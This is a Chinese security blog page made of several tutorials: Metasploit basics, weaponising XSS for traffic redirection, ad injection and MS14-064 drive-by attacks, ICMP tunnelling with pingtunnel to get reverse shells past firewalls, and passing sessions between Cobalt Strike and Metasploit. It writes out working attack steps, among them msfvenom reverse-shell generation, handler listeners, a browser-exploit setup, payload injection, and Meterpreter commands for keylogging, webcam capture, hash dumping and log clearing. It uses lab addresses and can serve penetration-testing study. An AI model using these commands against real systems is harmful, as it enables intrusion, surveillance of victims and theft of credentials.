泷羽Sec-分享网络安全 | 安全产品测评 | 网站建设 - 渗透框架
引言Metasploit Framework（MSF）是一款功能强大的开源安全漏洞检测工具，被广泛应用于渗透测试中。它内置了数千个已知的软件漏洞，并持续更新以应对新兴的安全威胁。MSF不仅限于漏洞利用，还包括信息收集、漏洞探测和后渗透攻击等多个环节，因此被安全社区誉为“可以黑掉整个宇宙”的工具。本文旨在详细介绍MSF的基础知识和基本使用方法，帮助初学者快速上手。一、Metasploit Framework 介绍1.1 MSF 概述Metasploit Framework最初由HD Moore于2003年发布，并于2007年使用Ruby语言重写。MSF默认集成在Kali Linux中，同时也支持在非Kali环境下安装和使用。它提供了一套完整的渗透测试框架，包括漏洞利用模块（exploits）、攻击载荷（payloads）、辅助模块（auxiliary）、编码器（encoders）、空指令（nops）、后渗透模块（post）等多个组件。1.2 MSF 主要组件Exploits（漏洞利用模块）：利用目标系统中的已知漏洞进行攻击。exploit漏洞利用模块路径/usr/share/metasploit-framework/modules/exploits 例如我需要对windows的系统漏洞的利用，我可以查看windows模块Payloads（攻击载荷）：攻击成功后，在目标系统中执行的代码或指令。/usr/share/metasploit-framework/modules/payloads 在Metasploit框架中，Payload扮演着至关重要的角色，主要分为Single、Stager和Stage三种类型。Single Payload是完全独立的，功能单一且易于使用，类似于运行一个简单的程序命令，但有可能被非Metasploit工具捕获。而Stager Payload则负责在目标系统与攻击者之间建立网络连接，并下载额外的组件或应用程序，常见类型有reverse_tcp和bind_tcp，分别实现反向连接和正向连接。Stage Payload是Stager下载后执行的更高级、无大小限制的Payload组件。在实际应用中，正向连接适用于攻击机在内网、靶机在外网且靶机防火墙限制严格的情况，但可能因目标端口流量过大而失败。反向连接则更适用于双方均在外网或内网的环境，此时被攻击机可主动连接攻击机，即使防火墙阻止进入的流量也无法阻挡外出连接。特别地，当被攻击机的防火墙极度严格，仅允许80或443端口与外部通信时，使用reverse_http或reverse_https Payload进行反向连接成为理想选择。Auxiliary（辅助模块）：执行信息收集、扫描、嗅探等功能，辅助渗透测试。不直接执行攻击。例如，使用SMB_version辅助模块扫描SMB服务版本：use auxiliary/scanner/SMB/SMB_version set RHOSTS 192.168.1.0/24 run 目录如下MSF利用扫描，我的机器上没有这个服务，所以扫不出来。Encoders（编码器）：对Payload进行加密，以绕过安全软件的检测。Nops（空指令）：提高Payload的稳定性和可靠性。Post（后渗透模块）：在取得目标系统控制权后，执行进一步的攻击动作。二、Metasploit Framework 基础安装与配置2.1 Kali Linux 中的 MSF在Kali Linux中，MSF默认已安装，用户可以直接通过终端启动MSF控制台。bash复制代码 msfconsole 2.2 非Kali Linux 环境下的安装在非Kali Linux环境下，用户可以通过以下命令一键安装MSF：bash复制代码 curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall 安装完成后，建议添加新用户并切换到该用户下运行MSF，以避免权限问题。2.3 更新与升级Kali Linux 环境：apt update apt upgrade metasploit-framework 非Kali Linux 环境：bash复制代码 msfupdate 三、Metasploit Framework 基础用法3.1 启动 MSF 控制台在终端中输入 msfconsole 命令启动MSF控制台。首次启动可能会创建数据库，建议以非root用户启动以确保数据库同步。3.2 搜索与选择模块搜索模块：使用 search 命令搜索特定模块，如 search ms17_010。选择模块：使用 use 命令选择特定模块，如 use exploit/windows/SMB/ms17_010_eternalblue，也可以使用搜索到的结果的索引，比如3.3 查看模块信息使用 info 命令查看当前模块的详细信息。3.4 配置模块参数使用 show options 查看模块需要配置的参数。使用 set 命令设置参数值，如 set RHOSTS 192.168.3.172。可以使用 setg 设置全局参数，避免在每个模块中重复设置。3.5 执行攻击配置完成后，使用 exploit 或 run 命令执行攻击，这里一般看习惯，都是用的run。可以使用 exploit -j 在后台运行攻击。3.6 后渗透阶段成功攻击后，将进入Meterpreter会话，可以进行一系列后渗透操作，如文件操作、提权、信息收集等。该表来自csdn 剑客 getshell Meterpreter > ? ========================================== 核心命令： ========================================== 命令 说明 ------- ------------ ? 帮助菜单 background 把当前会话挂到后台运行 bg background命令的别名 bgkill 杀死后台meterpreter 脚本 bglist 列出正在运行的后台脚本 bgrun 执行一个meterpreter脚本作为后台线程 channel 显示信息或控制活动频道 close 关闭一个频道 detach 分离Meterpreter会话（用于 http/https） disable_unicode_encoding 禁用 unicode 字符串的编码 enable_unicode_encoding 启用 unicode 字符串的编码 exit 终止 Meterpreter 会话 get_timeouts 获取当前会话超时值 guid 获取会话 GUID help 帮助菜单 info 显示有关 Post 模块的信息 irb 在当前会话中打开一个交互式 Ruby shell load 加载一个或多个 Meterpreter 扩展 machine_id 获取连接到会话的机器的 MSF ID migrate 将服务器迁移到另一个进程 pivot 管理枢轴侦听器 pry 在当前会话上打开 Pry 调试器 quit 终止 Meterpreter 会话 read 从通道读取数据 resource 运行存储在文件中的命令 run 执行一个 Meterpreter 脚本或 Post 模块 secure （重新）协商会话上的 TLV 数据包加密 sessions 快速切换到另一个会话 set_timeouts 设置当前会话超时值 sleep 强制 Meterpreter 安静，然后重新建立会话 ssl_verify 修改 SSL 证书验证设置 transport 管理运输机制 use 不推荐使用的load命令别名 uuid 获取当前会话的 UUID write 将数据写入通道 ========================================== Stdapi：文件系统命令 ========================================== 命令 说明 ------- ------------ cat 将文件内容读到屏幕上 cd 切换目录 checksum 检索文件的校验和 cp 将源复制到目标 del 删除指定文件 dir 列出文件（ls 的别名） download 下载文件或目录 edit 编辑文件 getlwd 打印本地工作目录 getwd 打印工作目录 lcd 更改本地工作目录 lls 列出本地文件 lpwd 打印本地工作目录 ls 列出文件 mkdir 制作目录 mv 将源移动到目标 pwd 打印工作目录 rm 删除指定文件 rmdir 删除目录 search 搜索文件 show_mount 列出所有挂载点/逻辑驱动器 upload 上传文件或目录 ========================================== Stdapi：网络命令 ========================================== 命令 说明 ------- ------------ arp 显示主机 ARP 缓存 getproxy 显示当前代理配置 ifconfig 显示界面 ipconfig 显示接口 netstat 显示网络连接 portfwd 将本地端口转发到远程服务 resolve 解析目标上的一组主机名 route 查看和修改路由表 ========================================== Stdapi：系统命令 ========================================== 命令 说明 ------- ------------ clearev 清除事件日志 drop_token 放弃任何活动的模拟令牌。 execute 执行命令 getenv 获取一个或多个环境变量值 getpid 获取当前进程标识符 getprivs 尝试启用当前进程可用的所有权限 getid 获取服务器运行的用户的 SID getuid 获取服务器运行的用户 kill 终止进程 localtime 显示目标系统本地日期和时间 pgrep 按名称过滤进程 pkill 按名称终止进程 ps 列出正在运行的进程 reboot 重启远程计算机 reg 修改远程注册表并与之交互 rev2self 在远程机器上调用 RevertToSelf() shell 放入系统命令 shell shutdown 关闭远程计算机 steal_token 尝试从目标进程窃取模拟令牌 suspend 暂停或恢复进程列表 sysinfo 获取有关远程系统的信息，例如 OS ========================================== Stdapi：用户界面命令 ========================================== 命令 说明 ------- ------------ enumdesktops 列出所有可访问的桌面和窗口站 getdesktop 获取当前的meterpreter桌面 idletime 返回远程用户空闲的秒数 keyboard_send 发送击键 keyevent 发送按键事件 keyscan_dump 转储击键缓冲区 keyscan_start 开始捕获击键 keyscan_stop 停止捕获击键 mouse 发送鼠标事件 screenshare 实时观看远程用户桌面 screenshot 抓取交互式桌面的截图 setdesktop 更改meterpreters当前桌面 uictl 控制一些用户界面组件 ========================================== Stdapi：网络摄像头命令： ========================================== 命令 说明 ------- ------------ record_mic 从默认麦克风录制音频 X 秒 webcam_chat 开始视频聊天 webcam_list 列出网络摄像头 webcam_snap 从指定的网络摄像头拍摄快照 webcam_stream 从指定的网络摄像头播放视频流 ========================================== Stdapi：音频输出命令： ========================================== 命令 说明 ------- ------------ play 在目标系统上播放波形音频文件 (.wav) ========================================== Priv：权限提升命令： ========================================== 命令 说明 ------- ------------ getsystem 尝试将您的权限提升到本地系统的权限。 ========================================== Priv：密码数据库命令： ========================================== 命令 说明 ------- ------------ hashdump 转储 SAM 数据库的内容 ========================================== Priv：Timestomp 命令： ========================================== 命令 说明 ------- ------------ timestomp 操作文件 MACE 属性 meterpreter > 四、常见问题与解决方案4.1 数据库连接问题如果初次运行MSF时未正确初始化数据库，可能会出现连接问题。可以使用以下命令解决：bash复制代码 msfdb init 若已初始化但连接不上，尝试重启数据库服务：bash复制代码 msfdb restart 4.2 权限不足问题在非Kali Linux环境下，以root用户运行MSF可能会遇到权限不足的问题。建议添加新用户并切换到该用户下运行MSF。4.3 攻击失败攻击失败可能是由多种原因造成的，如目标系统未开放相应端口、漏洞已被修补或Payload被安全软件拦截等。建议仔细检查目标系统的配置和安全状态，并尝试不同的Payload和配置选项。五、高级攻击技术5.1 被动利用（Passive Exploit）被动利用是一种不直接向目标系统发送攻击载荷的攻击方式，而是通过诱骗目标系统主动连接含有漏洞利用代码的服务器。这种方式适用于目标系统防火墙设置严格或客户端软件存在漏洞的场景。示例：利用浏览器漏洞假设目标系统的浏览器存在已知漏洞，攻击者可以设置一个包含漏洞利用代码的Web页面，并诱骗目标用户访问该页面。当浏览器加载页面时，漏洞利用代码将被执行，从而实现攻击。use exploit/windows/browser/ms10_002_aurora set URIPATH /exploit set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.101 exploit 5.2 复合攻击链（Attack Chain）在复杂攻击场景中，攻击者可能需要利用多个漏洞来实现最终目标。通过构建一个攻击链，攻击者可以依次利用多个漏洞，逐步深入目标系统。示例：内网横向移动假设攻击者已经通过MS17_010漏洞控制了内网中的一台机器，接下来可以通过其他漏洞（如SMBv1漏洞、密码猜测等）横向移动到其他机器上。5.3 利用定时任务或计划任务在某些情况下，攻击者可以修改目标系统的计划任务或定时任务，以定时执行恶意代码。这种方式可以实现长期潜伏和持续攻击。六、后渗透阶段的高级操作6.1 权限提升在渗透测试过程中，获得系统权限是目标之一。Meterpreter提供了多种提权技术，包括但不限于：使用getsystem命令尝试直接提权。利用已知的系统漏洞进行提权（如利用脏牛漏洞）。通过上传并执行mimikatz等工具获取明文密码。6.2 信息收集后渗透阶段，深入的信息收集对于理解目标系统的架构和配置至关重要。Meterpreter提供了丰富的命令来收集系统信息，包括但不限于：使用sysinfo命令获取系统基本信息。运行run scraper命令收集系统详细信息并保存到本地。使用run hashdump或run smart_hashdump导出密码哈希值。6.3 持久化为了保持对目标系统的长期访问，攻击者可能会尝试在系统中植入后门或修改系统设置以实现持久化。使用Meterpreter的persistence脚本在目标系统中设置反弹Shell。修改注册表或服务以实现开机自启动。七、自定义模块开发MSF的强大之处在于其可扩展性。用户可以根据自己的需求开发自定义的exploit模块、payload或auxiliary模块。7.1 开发Exploit模块开发自定义Exploit模块需要深入了解目标漏洞的利用机制，并熟悉Ruby编程语言。以下是一个简单的开发流程：研究漏洞：深入理解漏洞的原理和触发条件。编写Ruby脚本：使用Metasploit的API编写exploit脚本。测试与调试：在安全的测试环境中测试exploit的有效性和稳定性。7.2 Payload开发自定义Payload的开发同样需要深入的技术背景，包括汇编语言、系统调用等。用户可以根据需要开发具有特定功能的Payload，如自定义shellcode。八、复杂攻击场景应用8.1 APT攻击模拟高级持续性威胁（APT）攻击是一种长期、隐蔽且针对性的网络攻击。利用MSF，安全专业人员可以模拟APT攻击过程，评估组织的安全防御能力。8.2 水坑攻击水坑攻击是一种针对特定目标的钓鱼攻击。攻击者会提前预测目标可能访问的网站或资源，并在这些位置植入恶意代码。通过MSF，攻击者可以模拟整个水坑攻击过程，从漏洞选择到Payload执行。8.3 多阶段攻击多阶段攻击涉及多个攻击阶段和不同的漏洞利用点。攻击者需要根据目标系统的具体情况设计攻击路径，并依次利用多个漏洞实现最终目标。九、总结本文详细介绍了Metasploit Framework的基础知识和基本使用方法，包括安装、配置、模块选择、参数配置和攻击执行等环节。通过学习本文，读者可以初步掌握MSF的使用技巧，为进一步学习进阶用法打下坚实基础。在后续文章中，我们将深入探讨MSF的进阶用法，包括更复杂的攻击场景、高级后渗透技巧以及自定义模块开发等内容。参考 ：https://blog.csdn.net/weixin_45588247?type=blog
XSS高级用法，SEO，挂ma，MS14_064利用以下所有的针对XSS的利用方式都是对XSS的深一步的学习了解、请勿于未授权环境下进行非法操作！！！XSS平台：https://xssaq.com/ 这里有一个XSSlabs，利用我们的payloadXSS平台已上线查看功能这里面有源码，XSS站点的ua头，还有存储用户cookie信息机器的真实IP地址地址很明确，是我自己的地址广告传播/SEO优化/刷取流量原理通过恶意的XSS代码将正常的页面跳转到目的地的页面，利用网站进行重定向实现引流、广告位传播等等。实操恶意刷取访问量，网页直接跳转 注入成功，再次访问这个页面就会自动跳转到你的页面，从而达到访问量+1第二种，网页延迟跳转 恶意广告展示（需要5块钱吃外卖的记得扫个码嘞，美团优惠卷+平台双减） 三、网页挂马/权限提升（MS14_064）目的 通过木马服务器（Kali）搭建生成一个恶意URL地址，并通过存储型XSS挂到页面中。只要存在未打相应补丁的用户访问了挂马页面，恶意攻击者便获取到了受害者的控制权限（重点在于目的系统是否打了相应补丁）环境木马服务器（Kali MS14-064 IP:192.168.7.129） 受害者（Windows Server 2003 R2 IP:192.168.7.136） 存在 XSS 的服务器（Win10 DVWA靶机 IP:192.168.1.103）MS14_064：受影响的操作系统版本有：Windows Vista、Windows Server 2012、Windows Server 2008、Windows RT、Windows 8.1、Windows 8 以及 Windows 7.打开msf搜索 ms14_064依次设置好参数没有成功，不知道为什么，我win7补丁都卸载了，这里只做演示，可以参考下文https://blog.csdn.net/theRavensea/article/details/136793078 XSS插入地址这个时候就能利用存储型xss漏洞将木马服务器生成的地址插入到网站中，这样只要有人的电脑存在该漏洞，就能上线：可自行测试，我这里不是全新的win7，没有成功学习于：https://blog.csdn.net/Aaron_Miller/article/details/105918848
【内网渗透】ICMP隧道技术，ICMP封装穿透防火墙上线MSF，CS
会当凌绝顶，一览众山小前言渗透测试中，如果攻击者使用各类上层隧道(例如：HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了，常常会通过ping命令访问远程计算机，尝试建立ICMP隧道，将TCP/UDP数据封装到ICMP的ping数据包中，本文主要讲解了【靶机能上TCP和不能上TCP的区别】【利用pingtunnel搭建ICMP隧道，实现靶机上线MSF/CS的过程】，以及它的原理解释，如果哪里说错了，还请师傅们指出，谢谢您。靶机能上TCP首先我们使用MSFvenom生成widows木马 设置好payload开启监听运行即可上线正常情况下木马使用的是TCP协议，靶机能上网，那么靶机不能上网，阻止了防火墙出网呢？也不能走TCP访问攻击机器呢？这个时候MSF就不能通过TCP协议上线，下面将演示MSF通过ICMP协议上线靶机阻止TCP连接环境搭建检查网络通信，可以ping通百度也可以正常访问百度靶机启用防火墙kali攻击机器ping（访问）靶机就不通了靶机阻止防火墙所有出站TCP规则，也就是我们靶机访问不了外网，浏览器打不开百度了设置为阻止全部勾选这个时候可以ping通百度，但是tcp无法访问（浏览器访问网站这个操作，就是走的TCP协议），而ping使用的是icmp协议，所以可以ping通百度，也可以ping（访问）通我们的攻击机没上线成功的过程就不演示了，作用不大注：木马走的都是tcp协议，此时我们禁用了TCP协议，MSF就无法上线，该怎么绕过呢？工具使用这时候我们就需要一个工具MSF隧道搭建工具pingtunnel工具链接链接：https://pan.baidu.com/s/1LsLiszJCdAoZs0I4PfXeWg?pwd=1212提取码：1212PingTunnel是一款常用的ICMP隧道工具，可以跨平台使用，为了避免隧道被滥用，还可以为隧道设置密码。pingtunnel工具是基于网络层面ICMP协议的内网穿透工具。在本次教程中它的主要作用，如图这张图主要介绍了两个部分1、靶机使用容器，将tcp数据包打包为icmp数据包2、MSF接收的时候，将icmp数据包还原成tcp数据包实现过程下载好工具后把他移到kali中kali启用PingTunnel服务器此时kali生成的木马需要是127.0.0.1，端口为靶机监听的地址（原理待会解释）PingTunnel把木马的TCP数据包封装为ICMP数据包，这时候就可以通过ICMP协议发送到攻击机服务器工具使用教程如下命令解释pingtunnel -type client -l 127.0.0.1:8888 -s 192.168.209.151 -t 192.168.209.151:9999 -tcp 1运行查看kali服务端，icmp协议已成功收到靶机的访问请求MSF设置监听端口9999，本地地址为0.0.0.0全局地址当PingTunnel服务器接收到靶机的ICMP数据包的时候，PingTunnel就会将ICMP数据包拆解为TCP数据包，这时候MSF就会接收到此”TCP请求“，即可成功利用icmp隧道成功上线MSF执行命令原理解释再来看这张图结合上面的结构图和这个案例即可得到原理，攻击机器生成木马，并传到靶机上，靶机运行木马在本地的8888端口，而PingTunnel在靶机上将这个端口的TCP流量打包，转发到攻击机刚刚开启的PingTunnel服务器，PingTunnel服务器接收到这个icmp请求之后，将这个ICMP包进行拆解转化为TCP协议，最后将这个TCP协议转发到攻击机器（kali）MSF监听的端口，此时就可以完成MSF上线CS通过ICMP上线CS也是一样的原理，主机cs生成木马，送到靶机，添加两个监听器，靶机自己监听地址kali接受shell地址如下生成payload，选择靶机的监听地址放入靶机运行木马之后，再运行pingtunnel，转发到攻击机的服务器pingtunnel -type client -l 127.0.0.1:8888 -s 192.168.209.151 -t 192.168.209.151:9999 -tcp 1成功上线，如果没上线成功，这个红色的框一定要检查是否正确whoami总结本文详细讲解了在内网渗透中，当常规的网络通信手段（如TCP协议）受阻时，如何利用ICMP隧道技术实现MSF和CS的上线。通过搭建PingTunnel服务器，将TCP数据包封装在ICMP数据包中，利用ICMP协议进行数据传输，从而绕过网络限制。文章还详细解释了ICMP隧道的工作原理，并通过实际案例展示了其应用过程。感今怀昔最新可用，bp+charles小程序抓包教程DC-2综合渗透，rbash逃逸，git提权，wordpress靶场渗透教程【kali笔记】一款强大的Web目录扫描工具DIRB使用指南PwnLab: init-文件包含、shell反弹、提权--靶机渗透思路讲解【附靶机链接】PHP反序列化漏洞从入门到深入8k图文介绍，以及phar伪协议的利用
CS与MSF联动0x01 CS与MSFCobaltStrike（简称CS）是一款美国Red Team开发的渗透测试神器。Armitage是一个MetasploitFramework（简称MSF）的图形化界面工具，而CobaltStrike大家可以理解其为Armitage的商业版。早期版本CobaltSrtike依赖MetasploitFramework框架，而现在CobaltStrike已经不再使用MetasploitFramework而是作为单独的平台使用，它分为客户端(Client)与服务端(Teamserver)，服务端是一个，客户端可以有多个，团队可进行分布式协团操作。CobalStrike 与 MetasploitFramework 均是渗透测试中不可缺少的利器，各有所长。前者更适合做稳控平台，后者则更擅长内网各类探测搜集与漏洞利用。两者更需要灵活的联动，各自相互依托，从而提升渗透的效率。0x02 CS传递会话到MSF为了方便演示操作，将CS的服务端与MSF服务都设置在同一个IP上。1. CS操作先在CobaltStrike上新建一个监听器（Beacon HTTP）这里的IP端口号指CS服务端利用CobaltStrike生成一个后门文件将后门文件放在受害主机中执行，之后受害主机就会上线到CS了至此，CobaltStrike获得到了一个会话2. MSF操作在MetasploitFramework上开启一个meterpreter监听（reverse_http），用于接收CobaltStrike传递过来到会话use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.158.129 # MSF所在主机的ip set lport 4444 # MSF所在主机自定义端口号 run 3. 会话传递先在CobaltStrike上创建一个监听（Foreign HTTP），IP 和 端口号需要与MetasploitFramework中设置监听的保持一致然后在CobaltStrike上选中要传递到会话，点击右键选择增加会话（Spawn） ，再选择刚刚创建的监听（Foreign HTTP）上述步骤完成后，在MetasploitFramework中就可以看到CobaltStrike传递过来到会话了0x03 MSF传递会话到CS1. CS操作在CobaltStrike上新建一个监听器（Beacon HTTP）2. MSF操作先通过msfvenom生成后门文件msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.158.129 LPORT=7777 -f exe > msfshell.exe 这里的IP端口号指MSF服务所在主机使用msfconsole启动MetasploitFramework，设置meterpreter监听用于接收后门文件反弹到shelluse exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.158.129 # msf所在主机的ip set lport 7777 # msf所在主机自定义端口号，与后门文件中的一致 run 将后门文件放置受害主机运行后，MetasploitFramework上会获得一个meterpreter的shell3. 会话传递将获取到的MetasploitFramework会话挂至后台，会看到一个会话sessions idbackground 调用 payload_inject 模块，将指定会话session id注入到新到CobaltStrike会话中use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set lhost 192.168.158.129 # CS服务端IP set lport 80 # CS服务端监听的端口号 set DisablePayloadHandler True set PrependMigrate True set session 4 # 会话id run 上述步骤完成后，在CobaltStrike中就可以看到MetasploitFramework传递过来到会话了参考文章https://teamssix.com/210129-191714.htmlCobaltstrike 学习笔记（三）CS与MSF联动 - 腾讯云开发者社区-腾讯云 (tencent.com)